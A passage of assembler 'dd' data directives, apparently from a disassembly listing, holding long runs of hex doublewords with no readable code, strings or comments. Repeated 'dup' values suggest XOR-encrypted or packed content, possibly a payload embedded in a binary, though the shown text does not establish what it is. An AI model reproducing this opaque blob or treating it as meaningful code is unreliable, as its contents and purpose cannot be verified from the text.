0E6A4ECC4h, 0F4F9BC67h dd 7255FE5Ch, 71410697h, 898B06C1h, 7141069Ah, 3BFDC077h dd 751CDA20h, 751CCA18h, 714106A6h, 0F7FDB8D5h, 0E6A1AD5Fh dd 713B6F51h, 361D0697h, 5BEC20FCh, 6DF49B4Eh, 716709B2h dd 713E6EE9h, 37210697h, 45C7BC5Ah, 35C00A73h, 71570A73h dd 3F7F0697h, 0F19C905Ah, 88D96CD7h, 66707B4Eh, 0F41E09B2h dd 72561094h, 4F206C1h, 7255F421h, 0A5E64622h, 2787A293h dd 25097158h, 814B6C12h, 57491C80h, 39623E8Ch, 3B28A161h dd 22F73CB9h, 7A9D956Fh, 23C12939h, 96687509h, 84EBDA5Eh dd 0FF54CC12h, 0DAF83AB5h, 0BE3AA7C5h, 3A30275h, 55BF3E46h dd 0FBE661CCh, 1CE8599Dh, 0ED5096A0h, 150DDD94h, 64CF7271h dd 0ECD5EF45h, 8974D1F7h, 0CFB22C10h, 8CA0D958h, 6DF2AF11h dd 642C0B93h, 0FF12C3FEh, 0D7B39893h, 7433BE8Ch, 0CF551C94h dd 904EE0F7h, 8EC535DBh, 0E764A6ACh, 0C8BC55ACh, 71E116CFh dd 69C839D0h, 0FAC839B8h, 0A7BC55ACh, 9BAF16C7h, 0CD575EAFh dd 71C56ED6h, 0FFA2C801h, 39517B73h, 0E676D833h, 9C485A8Fh dd 6DCD55ACh, 0E8BC55ACh, 8ED833h, 0E8BC5A90h, 63E655ACh dd 5DBDA964h, 0EBA15BBDh, 7DBD26FFh, 0EBA15E1Dh, 83B7BBDh dd 8F124C2Fh, 715712ACh, 6FC56E7Eh, 0F77FE6Ch, 863693B5h dd 0D310C8ADh, 0F30A1EC4h, 0A77936CBh, 0C327A202h, 3593D8AAh dd 0E70931E8h, 9296C4C5h, 29A36BE4h, 26CE1BA4h, 0C6AC6CD8h dd 0E193B8DEh, 86F07CC6h, 4F350B86h, 0C17871CFh, 542B5ED1h dd 51245975h, 7E8161B9h, 4B3561D1h, 4B335B75h, 0C13067B3h dd 0C1366DCFh, 828064D0h, 0C13316CFh, 5522612Bh, 0C13859D0h dd 49815918h, 0E17F64ECh, 76h dup(0E193B6D5h), 0C693B6D5h dd 0E193B854h, 0C16242EDh, 6CB5E1E2h, 0AAACB73Eh, 11E72FB1h dd 0D15E8468h, 8CC44EAEh, 81090D4Bh, 6BC2D95Fh, 3669EFD6h dd 7BB71A9Ah, 0CAE65B6Bh, 421E53B6h, 0A502051Ah, 0E9107B72h dd 8AD8FD92h, 2024A113h, 99448742h, 250D6E2Ah, 0F7A1EE71h dd 211CFDB8h, 4BF06778h, 4E10A432h, 109CCE41h, 398A89C5h dd 0A6874A03h, 54ABBB4Ch, 654442B8h, 0D8B3E251h, 0EB6DA50Ah dd 37161ADEh, 0E19482FDh, 0FD50D5h, 0E1C4A9D8h, 0CC55A270h dd 0AE174830h, 1BDB2B51h, 22E2657Ah, 0DF107BFBh, 7207AF40h dd 0D8643808h, 2D57A300h, 8489C54Ah, 151F8784h, 8EB61B4Eh dd 0E4D1FD68h, 3CCBBBF7h, 0FD2E1A13h, 4577B7E5h, 1313F1Dh dd 8A45F5BFh, 0E1AD734Fh, 66F0B6D5h, 2D1AEB65h, 95D2401Ch dd 5117FA42h, 444CC90Fh, 280FA5C3h, 0A2FE338Ah, 0B7EB560Eh dd 61A9F2Fh, 7E928FEAh, 0A8F64156h, 2D107B5Dh, 211CEF3Eh dd 0BF06778h, 8E10A4E7h, 4E9A4ADBh, 0EC67679Dh, 4480B114h dd 0D9100104h, 2A58A300h, 15A48367h, 42434A03h, 0D2D38BC5h dd 7392C48Ah, 35E4C6CAh, 57A0E3D6h, 1AED6666h, 0FE5A7808h dd 1953834Ch, 0E5AD98C0h, 0E193B6C8h, 8AD3FFB7h, 97EDAABAh dd 94694A96h, 0E784DFB4h, 74064C28h, 3B7DE408h, 10998020h dd 0AF22049Bh, 0A6A92A40h, 43B02343h, 0B69F984Fh, 0D60635B0h dd 0DE9A8EE0h, 183BF80Bh, 5AAD2687h, 23151244h, 0E413EA7Ch dd 0F92A1C79h, 79778E4Ah, 97420E12h, 2571253Fh, 5B0F0212h dd 55C83E9Fh, 0F108A908h, 384AABA8h, 64509665h, 96D20259h dd 320D2735h, 0E193BE9Ch, 309781D5h, 5BEB6A60h, 0BD6EF725h dd 0B19F2976h, 0A6D01DEAh, 9DCF14EBh, 95AAC9D6h, 8DA2C13Eh dd 8899B946h, 77126E6Dh, 6FDD643Bh, 26438BA8h, 0E5D33934h dd 6493B6D5h, 0E042BA6Ch, 76601AD1h, 7DBFBA5Ah, 5EB2412Fh dd 0E193BA9Fh, 0E5AA3BD5h, 7DBFCA62h, 49BFCA0Ch, 0E194550Eh dd 17BFC20Ch, 6DF65D91h, 5EA57856h, 8764DC9Fh, 0FFD300DCh dd 49D239DFh, 49357568h, 0E1940C21h, 5EC01A0Ch, 0E1601AE1h dd 6F3AB6D5h, 0AB85B02Fh, 756AFD28h, 3039BA81h, 9F12BE14h dd 7A96178Dh, 0C56FB720h, 0E5A03B1Ch, 72BFCA0Eh, 2312DD0Ch dd 0E193B6E1h, 28607D56h, 0C6481A79h, 0E0A90155h, 96466D0Ch dd 46040B7Bh, 94ECAE0Eh, 2260BF75h, 9896D64Ah, 51640E25h dd 8FA96E9Ch, 7E7969C0h, 0FA5D0E98h, 0ECBF35CCh, 0E317272Fh dd 6D18C00Dh, 2159D21Ch, 900F5AD3h, 2B16CF7Fh, 0A8742D29h dd 86EF450Ch, 0E129BFDEh, 0E160DE24h, 7673B6D5h, 6E0B1196h dd 0A612BA81h, 0E188BA81h, 6E52B6D5h, 46AD8A96h, 2385A6FAh dd 0E18BDEEEh, 0F1B7B6D5h, 139DC6B3h, 63194AA7h, 0A8891AD0h dd 0B4DCC723h, 0B093B6D5h, 0E193C559h, 0E18BE1D5h, 40D4B6D5h dd 5A0563C9h, 629D1E7Ch, 0A888B850h, 0E1946BB1h, 0C94CB6B7h dd 0E193B6D6h, 80A15775h, 0E5C0720Ch, 0E5BFFA54h, 0E193B6E8h dd 0F6A10F22h, 14A90E88h, 8FE0C87Dh, 0EADF7FB5h, 0E15CD3DDh dd 4793B6D5h, 0E4AC06D5h, 0C193B6D5h, 263C7B1Dh, 5E601A21h dd 0BD601A21h, 0A193B6D5h, 8D8F7B25h, 46844FFDh, 0C6F7F75Fh dd 0E193B6E4h, 20E3135Dh, 88758E6h, 792614FCh, 4D9400DFh dd 62EEB7A8h, 865CD373h, 0BC74E908h, 4F0EB7E2h, 835CD38Eh dd 47684C07h, 270EB7D5h, 2C5CD3EFh, 8AFE395h, 487739F9h dd 1B4F9EBh, 2E2BE4C3h, 0B4A65415h, 3ECA709h, 439B310h dd 0B266D102h, 0B25518AFh, 80A917B1h, 20806D16h, 0BE94259Eh dd 2EAA6A89h, 0A5584897h, 0E7A332Dh, 9CD22DDBh, 0F989EC89h dd 183AE292h, 0FCBDA02Eh, 761FC7Ah, 0C6058F3Dh, 8EC5F478h dd 76E9E08h, 0C54080E6h, 0FD3C1895h, 0AF5A5E36h, 6DCB201h dd 43E59999h, 9A18807Eh dd 0C75A5EF4h, 0BADCB203h, 28E599FBh, 0C14CEFFBh, 9AE599FBh dd 43B35A3Dh, 3BE97DAFh, 94E97D3Fh, 84E599FBh, 7F515A45h dd 0C866950Bh, 46E80CBFh, 95F60C72h, 0EF549E08h, 0C5409F52h dd 0BAE5A51Ah, 2C6847FBh, 0B26D6BC2h, 0CB751FC9h, 2B6A96C8h dd 28DCB2F8h, 0C14CEAFBh, 9AE599FBh, 44005A48h, 3BE97D47h dd 95E97D3Fh, 81E599FBh, 0FB445A50h, 0C24DFAC2h, 0C5E599FBh dd 0B3F0A81Eh, 4374A390h, 9A09B4DEh, 0BDE4C3F4h, 99F72086h dd 0A92522F4h, 0E4EE6D2Fh, 6FB52D23h, 1B43D892h, 0D3DD9EBDh dd 190CA0DFh, 82DA20C8h, 0E386A08Dh, 0C0E2BA84h, 0FCDDEB24h dd 0AEDD9523h, 4BEDE01Bh, 21E07814h, 93D390C3h, 15D64039h dd 0D74655D3h, 84E80597h, 340FBCACh, 317A4DDDh, 0EF263075h dd 7E0E90C3h, 0C468CEEEh, 0D373AA70h, 24694D1h, 4179C0ACh dd 5E915DC7h, 0B702ED13h, 0D0456750h, 9EACD9C0h, 21B2A9FDh dd 32615BC3h, 8A02ED2Bh, 220E90C3h, 22B56752h, 6CD5D9C0h dd 0FC3E1F36h, 23FA5DBCh, 5E8DA951h, 0F7D54D6Dh, 5E8D8351h dd 0D44B0177h, 32AE7B4Ah, 0C8CE290h, 0EB699716h, 0F103DC52h dd 0A3FBA94Ch, 220E90D2h, 6386F6E3h, 0FEFC4EDDh, 262613EAh dd 0F0DD5DC4h, 220DD543h, 376AE1C3h, 0F051504Ah, 3787E350h dd 6E0A884Ah, 0A2FB9154h, 220E9026h, 220DE172h, 0D68B42C3h dd 0D3AE894Eh, 0C3C6E396h, 0F095C077h, 220DBC72h, 0C20B4AC3h dd 4AF88545h, 0AFAA681Ch, 0B57FA03Ch, 0DA305A64h, 76615B78h dd 702ED18h, 202B91DAh, 0C8E8217Dh, 0F214C174h, 0EE4EF0C0h dd 0EF6C2E7Ah, 39C20607h, 0B3A89567h, 0F27F7707h, 6D8380BDh dd 0B1943203h, 0BDC3915Dh, 91BD6365h, 43FE899Fh, 9968061Bh dd 0DBB758D6h, 0FBB28634h, 2C593A08h, 8B042AF8h, 9B48C0BFh dd 24E70EE4h, 0F5CC44E6h, 0EFBE89F8h, 3AE70607h, 0D058B14Ah dd 4BA0F67Eh, 24E739D4h, 68ED3435h, 0DE0DC55Ch, 0F83F0FF4h dd 505A0169h, 0F6516B2Ah, 49B3337Eh, 313F6151h, 0F65138DAh dd 49FECB7Eh, 2DDE6151h, 0EBE77024h, 0EF689342h, 0EF6C8DF7h dd 2FDE0607h, 0CA5F67C0h, 35680607h, 3EE1955Ah, 9E3AFD23h dd 75DCE89Ah, 1DE8F050h, 0EF68078Bh, 0C7EC884Ah, 6CD03BC8h dd 0A8DA23CBh, 9321E888h, 80F837C2h, 2936B3AEh, 0E028C56Dh dd 41AB6871h, 6733A0B7h, 67F423F4h, 6CF42552h, 6C2E98CBh dd 32F2C6CFh, 0D786C6E5h, 68997152h, 39B08A58h, 6FF6C606h dd 6F66F5D4h, 29231A63h, 60CB3B52h, 33961BD4h, 2772535Fh dd 0DABDFB28h, 6CF424DAh, 5F3D0ACBh, 77729B96h, 6CD03FFDh dd 6C41A3C4h, 716923CBh, 920EAC30h, 49BF2228h, 0A4BE96C7h dd 0E2F2C617h, 6CC5A4C4h, 186723CBh, 6FF70746h, 6CF400DAh dd 0BFC6D6CBh, 9F899E7Bh, 0EDDC97A0h, 6CF423D0h, 15FA0B39h dd 0A20C6AD4h, 5ADF934Bh, 5BD90951h, 0E03B8E0h, 0B1C7204Dh dd 0A89E68DBh, 87832481h, 0F6A74EAh, 147A459Bh, 0BC73743Eh dd 2215E63Eh, 3951351h, 4FB340E7h, 42C374D2h, 699513A4h dd 16B733B3h, 9C4A773Dh, 0B6676B3h, 6ECE2B3Dh, 149513A4h dd 0F722945h, 0A1FB743Eh, 1E5A3D72h, 715E14Dh, 495543Fh dd 1105D6F6h, 0D00FAFC9h, 0BA7A743Eh, 3715E133h, 495543Fh dd 0E72726BCh, 37CAAF9Dh, 0B95F58Ch, 0E63A633Dh, 147A3AB9h dd 3715E13Eh, 495543Fh, 147A3B67h, 69CA343Eh, 0EF1FA9B3h dd 0A1DE243Dh, 1E5A3DF4h, 89E3774Dh, 9395130Ch, 0A1FB61FAh dd 1E5A3DF4h, 715E14Dh, 495543Fh, 1105D6F6h, 0B30FAFC9h dd 0D17A743Eh, 0CFD781B9h, 0B9E416A0h, 3C3A3B46h, 147A7451h dd 0F7FA6F7Eh, 3213673Eh, 240D74F6h, 1C8DE006h, 147A436Fh dd 9D243B3Eh, 1F1AF40Dh, 4C885B8h, 6BCBEBBAh, 147A7438h dd 147AA86Fh, 0A9297F3Eh, 0E77A77D1h, 380D79BCh, 5C7BD0F6h dd 1BA26F9Fh, 271364FEh, 9C0D74F6h, 0D7CB1707h, 1B52ED9Fh dd 9CDE13Eh, 6995543Fh, 0EF6C12BBh, 2245BC3Dh, 2643DCABh dd 25944A10h, 9222A43Ch, 0E7AFA9FDh, 380D7BBAh, 0F2C5DEF6h dd 699554A8h, 0EF6C35BBh, 921D433Dh, 5CF1A66Fh, 147A596Fh dd 0E4B9033Eh, 0A6353885h, 19F4E8F3h, 0E18B091h, 5D5CDDD7h dd 61D1CFD2h, 53F9CE8Ch, 14F1860Dh, 0B55BEFC7h, 0A069743Eh dd 1EC15FDBh, 0FC11827h, 9A60223Eh, 147A743Ch, 0E7859DC7h dd 9BB2B247h, 0C4D3C634h, 955832CDh, 9BAD9300h, 0ABEA6B3h dd 3A57F53Dh, 0E6C0D343h, 7F9EFB4h, 0FBDD15EAh, 0E861D6CFh dd 3CA5AFC8h, 147A743Eh, 45ED1A16h, 0E785ECEAh, 147A75B3h dd 1EE01D3Eh, 0AABCBCEBh, 9D8787D1h, 0B654AB3h, 0A6C71E3Dh dd 0FB29F1AFh, 0E7BCAFC9h, 147A0FBAh, 0E8DD673Eh, 0E77A743Dh dd 147AAFC6h, 15E62D3Eh, 3D9513A7h, 147A749Bh, 9F8EFB5Eh dd 873696EAh, 8AD7F3E1h, 6D87582Ah, 0AFA2519Eh, 380FFF6Fh dd 8B49D8F6h, 17F88FB2h, 0E0293D43h, 461A269Bh, 2B198D7Fh dd 63F3CF4Ah, 6F0D95A5h, 6FF1F2DAh, 11C39A44h, 0FB6D3D17h dd 2B704E40h, 6FDB4E41h, 23819A44h, 695132CEh, 0CB5A9487h dd 76EAB0A5h, 34A3CF8Eh, 76AB9598h, 0BE39A45h, 4C7A1C57h dd 0A30EF7ACh, 12055DB5h, 6DE41483h, 179F95AFh, 6F0D9A44h dd 6FF1F2F1h, 8C39A44h, 0F36D3C17h, 2B704E40h, 6F3E4E41h dd 1A4C9A44h, 70F0AF17h, 0CBC81Ch, 61EE7988h, 6EE34FCBh dd 78764D44h, 57E39A45h, 82D07C32h, 9B73D50Ch, 6EEE799Ch dd 0F4E39A44h, 6AB84144h, 4EE39A44h, 0F63791D8h, 243FAED8h dd 603FAE9Fh, 2DE39A45h, 3E3191F0h, 540BE444h, 6F0D9598h dd 6FF1F2E7h, 42C39A44h, 436D3617h, 2B704E40h, 6FD14E41h dd 1C329A44h, 434EA417h, 52980444h, 0CB5A9598h, 76EA80B1h dd 0A8E69A7Fh, 76EA808Dh, 7BF9DA48h, 0E7AEC25Bh, 65FFF0Ch dd 7ECB4F7Fh, 63D5247Eh, 86444761h, 0B5788DCBh, 2C02ACD7h dd 837F3790h, 0F7B4CDFBh, 0D7CA6C82h, 0A943F42Ah, 0F378E870h dd 647329EEh, 6D6A4626h, 0DB9A1754h, 0AB496384h, 4EED63A0h dd 53206521h, 644BC1C4h, 0D0A777h, 0D59B5E68h, 7E1CDBE6h dd 0C57966ADh, 0D23E616Ch, 6EFA3EAAh, 9AC94129h, 5E6E4A20h dd 7F376C42h, 0E0576813h, 89FB62E7h, 3B0212BDh, 0CF4D78B0h dd 0F1D7A199h, 0CF73D598h, 7 dup(0CFC1A199h), 0EC1A199h dd 0CFC1A546h, 0E155CF2Ah, 450847E8h, 8AD98391h, 0BB2FB53Bh dd 25C3DD16h, 0F278FE67h, 0D20D02F1h, 693BBE64h, 6FDD4FEDh dd 49860E75h, 15EB9126h, 0F7A211B5h, 0CD2B8ED8h, 3CCA7A0Ch dd 0D52FAF5Eh, 0D3D57FD2h, 8E2C3D44h, 0BA1AF161h, 0D3C2D615h dd 0EE9A685Ah, 9CE8B298h, 604DFA3h, 0EE3B1994h, 0A4C24331h dd 8F2045BBh, 8EEC71BFh, 0B9EE1A24h, 19786237h, 0B72CDBC6h dd 0B88D08E5h, 7BD4293Ch, 0F826C488h, 9B7FE6B2h, 353E89FDh dd 852209BFh, 2D937441h, 0B9C2432Ah, 179D81A0h, 73BFACDEh dd 353EA2F5h, 3FE222BFh, 0BBEAE071h, 5AEB8402h, 4093B4FBh dd 0C4D168BFh, 0E7B75EF3h, 4A0A4C1Eh, 0A641C79Dh, 0E7533500h dd 79C2458Bh, 1D0E41E1h, 7EC24573h, 9738D8F9h, 0A033CF2Bh dd 0D4C8E02Bh, 0F21F5BA3h, 84E71EC9h, 0CFC19EB3h, 0F2A48F23h dd 63EF3489h, 3C455ED4h, 4FC20AD7h, 38B1ED27h, 40156CAh dd 0A3301F64h, 6BCFD631h, 0CA9D53B1h, 85F465B2h, 2068FA8Dh dd 2F16616h, 2BF03AD2h, 0CFC1A08Dh, 0AECAD699h, 2F9FBD44h dd 42D4F236h, 12C9F1A8h, 7721F72Bh dd 0A91BBFB3h, 4017258Fh, 9F68650Ah, 6C1587CFh, 3B5F6BE9h dd 7B648E24h, 0A37AC1AFh, 1F8C97C1h, 99EA1C21h, 8C3F2553h dd 8E66148Ah, 1F5300AFh, 0E3C3F6F3h, 0DF8BA67Ch, 6BF7056Fh dd 0A443B9DBh, 7984682h, 87C20AD7h, 0FA6E53DEh, 550A7F82h dd 0C41A82BDh, 4775779Bh, 284173C2h, 0A5C1A19Ah, 0CF7A92D8h dd 5F2360F0h, 224241F8h, 85DAEF1Fh, 1B608479h, 99F83643h dd 1A45D5A0h, 0C676A2DDh, 0B52A664Dh, 91BFA91Bh, 8FEE1D05h dd 0BA1BE3E9h, 905C4432h, 5DE71D05h, 3EFD5DE5h, 44890827h dd 0F6F166D0h, 40AA20BEh, 0BD95A4BFh, 3AFA63DAh, 6BD02E7Dh dd 380C37F8h, 90845EAh, 320954E6h, 0B4A66953h, 1D27B599h dd 221A3BA2h, 941A45A7h, 5B7DE664h, 0D51817B5h, 8990A199h dd 19C987DCh, 799A698Eh, 0C10C1143h, 88F4CE39h, 0B03CF93Ch dd 1EC01F4h, 81575F35h, 463AD0C1h, 3779A184h, 3370BD05h dd 9916A70h, 59E416C2h, 7EEE1D7Eh, 1FF07FAh, 47D61CD7h dd 6BF707E0h, 0E44961C3h, 0A969F163h, 9542A050h, 6BF70431h dd 8886BC2Ch, 0B17BD565h, 102F7E4Ch, 0BA46F14h, 85E947EBh dd 0CFC1A1CFh, 0BFCB9099h, 2FD8BF39h, 7786F236h, 5491F7E7h dd 0F9CC2F5Eh, 0BC4C4BBCh, 0A35DE042h, 0A10EABB1h, 4D3D3FADh dd 0C4401A25h, 69C6847Eh, 0DF9D1D1Bh, 2B901D97h, 2AA0AB5Eh dd 0E96E73CDh, 0CF583A3Fh, 0A4E72634h, 82324896h, 41DA211Fh dd 475609Fh, 0EA1ED69Bh, 68C25E3h, 0E6FA2B6h, 2E5C87BAh dd 0EC3B140Bh, 653D0F99h, 0CD4FD7F9h, 419B9662h, 8696651Ch dd 716A5FE7h, 75E117AFh, 687E9B54h, 75D29483h, 0BC48E4FDh dd 78F0BAA2h, 0D46CCEEEh, 8B92FF99h, 36E13028h, 281E5780h dd 0CE1521BCh, 65CA69B4h, 6DEF37ADh, 2A8BA4D8h, 567A22ABh dd 50B87CB6h, 0AEBF75ADh, 0D4391FAFh, 5E3D0C6Ah, 0EEE1E58Eh dd 0BF7269DAh, 0D3716BF1h, 14B32F69h, 8826F27Eh, 21434AD6h dd 0FAAFAEE9h, 0BD562AEh, 0F4A6638Bh, 417C8A08h, 0DB422668h dd 0E962B99Eh, 355F57E0h, 35C024BDh, 0A06AF93h, 0EB9600B6h dd 0CDD7332Ch, 8EEE2C9Dh, 0B8F7FC8Bh, 0CFC1A1E2h, 0CC4ADE87h dd 6ADC16E1h, 9CA98DAAh, 36092618h, 3C1BA93Fh, 8070A8B7h dd 0BA6F9D05h, 0E2B0733h, 0F26A56A9h, 4B3C9EF1h, 2B947A37h dd 0AA4243C6h, 2D4A8782h, 437518ACh, 0A2330228h, 0CFC19E12h dd 7333E713h, 0E1EA3DC6h, 0A2DA0258h, 34CD03B0h, 0A63653D9h dd 91A1561Ah, 0B6026D58h, 0C2422C6Ah, 82221990h, 0EB891BB5h dd 2EFC4AF5h, 1BE441F8h, 0A2CC46ABh, 28480B5Eh, 0AE70A3FFh dd 0A8FD31C0h, 40BB7AD2h, 0B83D06A8h, 0FC12973Fh, 0F85AB123h dd 64E07258h, 824C9697h, 72961917h, 0FDD7E207h, 0F82634DDh dd 91C17258h, 859417BFh, 8DFB0BE1h, 0CC0DC55Ch, 0EA2CBC45h dd 0F5F61D17h, 3C8E3712h, 975F2D29h, 0EB1ADEFEh, 690F7008h dd 0CCCB6B4Fh, 685CCCB0h, 518C4244h, 24F38A86h, 37487D2Ch dd 29B9300Fh, 0C5E920D1h, 0C85574E1h, 5AD4E5B5h, 0CD33DED6h dd 20468448h, 5B9DCB81h, 2EE1E706h, 9B494A86h, 983EBB7Eh dd 5B1D05h, 0D012007Ah, 9C9B7265h, 0ABECFC60h, 3034D558h dd 69D96BE9h, 822FD931h, 730653B2h, 0A47C4295h, 64FC4376h dd 56A3A844h, 917E1D5Ch, 92E78371h, 17A6E4BFh, 2F4B66E7h dd 0E3BEC35Bh, 73D77935h, 76E0A10Dh, 5827AD75h, 95962DCBh dd 0C3BCD2Ah, 1299AF71h, 0A3196104h, 8206A3B1h, 0BB45B2AEh dd 0DC6A9850h, 0A7988A46h, 0EB6ED5CAh, 589825F5h, 838E69B2h dd 795E0ADAh, 2F58A1F6h, 3309215Bh, 263CD814h, 60A89A18h dd 0D22E4364h, 0EB8F885Fh, 0AFC1A198h, 72611636h, 6BF70775h dd 0B709AF50h, 0B447D4D8h, 0A8516492h, 0D176754Eh, 0D5A5748Fh dd 0FDC878B2h, 25A050AAh, 0CC74BA1h, 0FE852031h, 1BFE1EDFh dd 0CF52EF4h, 0CFC1A56Eh, 0E0896A99h, 6C4DA2C0h, 61FBC585h dd 6EC1A149h, 6FB8C5DDh, 0D229200Eh, 54C1A199h, 0D0F4A55Fh dd 0F0F52D85h, 3FFD3184h, 0E0218A70h, 6F86562Ah, 89FC2600h dd 6EC1A190h, 0D3ECC585h, 0CFC1A585h, 0C3832899h, 8CBDDA66h dd 0C117B91Dh, 0B7DB2CA5h, 0ECAD2041h, 48DEF3ACh, 9E4FD599h dd 0D46D6222h, 0B08CA199h, 14172685h, 0BD9E78A5h, 7BE469Ch dd 2F639238h, 789E9896h, 66D1CB15h, 955C098Dh, 13989E79h dd 0EA838198h, 0CEE8B78h, 27D12B56h, 933C9C23h, 62FFF9F3h dd 9BED47Ch, 0ECDDFAFAh, 880AE323h, 3598F6FCh, 0BD28CFA6h dd 0DFDCBBEFh, 68EBE9DBh, 51EA0367h, 4F4BFA17h, 0E4FCDDEFh dd 649533DDh, 6FC1A19Ah, 0F2061DE0h, 525CA262h, 0CFC1A16Eh dd 0B26124DCh, 5B5C9E7Ch, 0CFC1A1F0h, 0F01124DCh, 5B5C9E8Bh dd 0CFC1A14Ch, 0F63124DCh, 5B5C9E7Ch, 0CFC1A178h, 876D24DCh dd 5B5C9E7Ch, 0CFC1A134h, 0DB720D24h, 0F96E9E7Ch, 0CFC1A525h dd 0D45F7899h, 1C40A199h, 6DA833A4h, 0CF741653h, 7CB62299h dd 5B5C59B7h, 0CFC1A1E3h, 0D4996022h, 0A240A199h, 671BEA6Dh dd 673EEABAh, 672BEA35h, 0F335246Ch, 0CF73EE25h, 0F9029299h dd 0CF73B71Bh, 0F31B9299h, 0CFC19F24h, 0D2586A99h, 20DA96E3h dd 0EBF4698h, 0CFC1A136h, 0B9F66DB6h, 0D5599E7Ch, 0C8C1A199h dd 0E7570044h, 0E5D11D68h, 6572C1E5h, 1FA12248h, 6E72F277h dd 0DDD655B6h, 0C273FB40h, 0CF73EA61h, 1560C199h, 0C11819C6h dd 0C0B020A5h, 0CF73B5A5h, 15B8E499h, 0D3320754h, 0ECF59FBDh dd 20C1A198h, 0DD6E95EEh, 0D514BD40h, 778C2299h, 37A78654h dd 2BDA5EA4h, 0CF72F292h, 8DC1A199h, 0D57BF799h, 0AFC1A199h dd 6F5F63CFh, 776FC5D5h, 0DD6FC5E6h, 0A1C1A199h, 659363C7h dd 0C3384293h, 0CC3217C0h, 7F080CA8h, 62BF4EEDh, 0E050A7EBh dd 0E382544Ch, 838C9E7Ch, 0E0509BCBh, 0B55E20D7h, 1DED04F5h dd 0D5135853h, 2F63498h, 2C409E7Dh, 6FF6950Dh, 473010FFh dd 2E775A7Fh, 2B0CD034h, 1DA6AE4Fh, 7BAA1958h, 0D71912A6h dd 2B7EB54Dh, 22EF371Ch, 5FB9CCA8h, 437B19CAh, 0BE4DBD97h dd 4BA6A604h, 0CFE24E66h, 2 dup(0CFA6A604h), 14A6A604h dd 0CFA6AAD2h, 44CEF645h, 78FC483h, 7DD653D5h, 1E9924EFh dd 85ECDC40h, 0DB59E14Ch, 9B7E1BB4h, 3CC68ECFh, 0CF9C661h dd 58334788h, 0E0DC119h, 44AF40F0h, 0DB437F3Bh, 74A6EF47h dd 52D6BD2Ch, 0FB19D242h, 6AD1E871h, 3EFA6F09h, 8B94C96Ch dd 1D01A8E7h, 3E2B0B96h, 28CDEAD3h, 6B7377BFh, 91AF5045h dd 34948F3h, 4CEDC4F8h, 0F4A519A1h, 343D8E39h, 719AFC6Dh dd 468B6FEFh, 3F883CE9h, 9D734EF7h, 6A9F944Ch, 0B6261409h dd 668D62BAh, 178F8A5Bh, 3747114Fh, 871B65CAh, 872C2553h dd 0A1053AE1h, 0A668D775h, 8CBCF480h, 0FAF9EC5Eh, 0CEC4E203h dd 7DA6A604h, 0DB437F44h, 6AEB1C6Eh, 4D756609h, 592AE79Eh dd 0CFA358F0h, 0D1BFA604h, 0B95D693Ah, 8DD75CADh, 4AF531Eh dd 53187944h, 0C2671CAAh, 0A84D5A42h, 53CECDFDh, 40E51441h dd 7A343CFBh, 30BDEB3h, 1FC512Bh, 0A8D4A70h, 682969E8h dd 93936EBCh, 40F6DC7h, 3A148801h, 4FFEB768h, 0B9400C9Bh dd 225AF477h, 43ACE936h, 0B9E90F55h, 0CC76F477h, 37D9538Dh dd 2DE4853Ch, 0A0727B6Ah, 6A9F48D1h, 9D28CF09h, 0C02AD9CFh dd 3C19D2AAh, 0B9B88D8h, 0ED1B25Fh, 4CC06FAAh, 570CF493h dd 3CBBB6F0h, 3AF2D310h, 7BA4AFD9h, 638032D2h, 0CFA6A9A4h dd 3A087EDCh, 87667F2Eh, 2EBC8363h dd 933370B9h, 0EF19D2AAh, 0C0C706E4h, 80C682D4h, 0D22ACE39h dd 1FC4CF1Bh, 373E9F1Bh, 0A0F5B470h, 4F0D38E5h, 0C0383192h dd 0CFA6A9A7h, 3A0887B7h, 0D89D72Eh, 34050D07h, 976E3E7Ch dd 98955575h, 977F84F1h, 515863ADh, 1A3BC992h, 73ECA120h dd 3A13BB51h, 23F7F7AAh, 0F8696849h, 9A028207h, 7A19D2AAh dd 5EEFD9C6h, 10383182h, 0CFA6A60Bh, 4BC1D2E9h, 0AA04A08h dd 4BDA5B17h, 0CEAFA45Fh, 760863Dh, 0D2260740h, 731B66B3h dd 2BEA6389h, 0CCECEF5Dh, 0A867C79Ah, 0B7D48210h, 0AAF17DE8h dd 0ABF5E0E4h, 0F2DAE7A8h, 23DB9C77h, 2B4784B0h, 0ED6F57DEh dd 7319D2EAh, 90AC3D09h, 3B940ADFh, 503CCDF4h, 6E1B819Fh dd 3B649A5Ah, 181CD9EFh, 0A23152F1h, 24110430h, 88431FD4h dd 5747A7F9h, 3B649A00h, 0FC06E4C3h, 5B62DAC2h, 0BCDCD7CCh dd 0A46CE93h, 50780566h, 0C242ADF1h, 16A10061h, 1AFA8989h dd 1E84BD05h, 1DAB113Ch, 52E09916h, 353A8195h, 446A2CEDh dd 91110743h, 0F3530290h, 8FA6A605h, 9EF9E9C3h, 18B4F339h dd 8A19D241h, 4893C42Dh, 7C1117A9h, 53548F9Eh, 1FB07CAh dd 713968B4h, 677A1E5Eh, 5621D764h, 8ED03D6Bh, 0F26ADAC2h dd 0C3BF43D0h, 0F8A4ACB9h, 40929E0Ah, 1738F5AAh, 0F547A083h dd 0CFA6A99Dh, 0D59966F2h, 2F2D2E6Ch, 0ED4182CEh, 4DC277A3h dd 0D999D241h, 0B8D714DAh, 0AD347477h, 68B8EAC8h, 0B4050C6Eh dd 457E4C73h, 0CA77F59Ch, 4B99C8BBh, 986F6FABh, 21AABE6Bh dd 900209B6h, 83097F4Ah, 4CBC845Eh, 1AA002CEh, 0D1298854h dd 8099A604h, 6C4772E7h, 677BE609h, 0E06666A2h, 0D80684ABh dd 2212DD18h, 79123E7Bh, 2C1114FAh, 0C7DC2BA8h, 1F4F1CA5h dd 4D317147h, 28E602A9h, 0A175F2A5h, 4B3249D0h, 4731C8F1h dd 919313E7h, 6C17D5A2h, 0EB1107A0h, 390C6111h, 0DC1107A1h dd 3B3B15C1h, 100AFFB2h, 0BE6F5468h, 0F47DA745h, 0D7A25577h dd 6EEFED13h, 0B9B8FF6Dh, 0BC5B37E7h, 372B2FCh, 0CAA0138h dd 1B9AF522h, 0BC9CC205h, 0A7C9AFD0h, 9BAAE644h, 0B2C609Fh dd 0D911E8F0h, 0A2798FECh, 6937072h, 0F5ED8228h, 0E281362Eh dd 2410EACCh, 5DEDF2D4h, 0D5A9F8ABh, 0FBADBCABh, 0C14D0D33h dd 0BDC01D1Eh, 5F046902h, 924ACAE4h, 7DF810ADh, 2EB5644h dd 8F963F00h, 0D7660BD0h, 0C3D553F8h, 672426FBh, 818018A9h dd 0BC092CBEh, 0FEB3BB6Fh, 3BF18E70h, 8FD95619h, 0CFD9B1ADh dd 9B6C8104h, 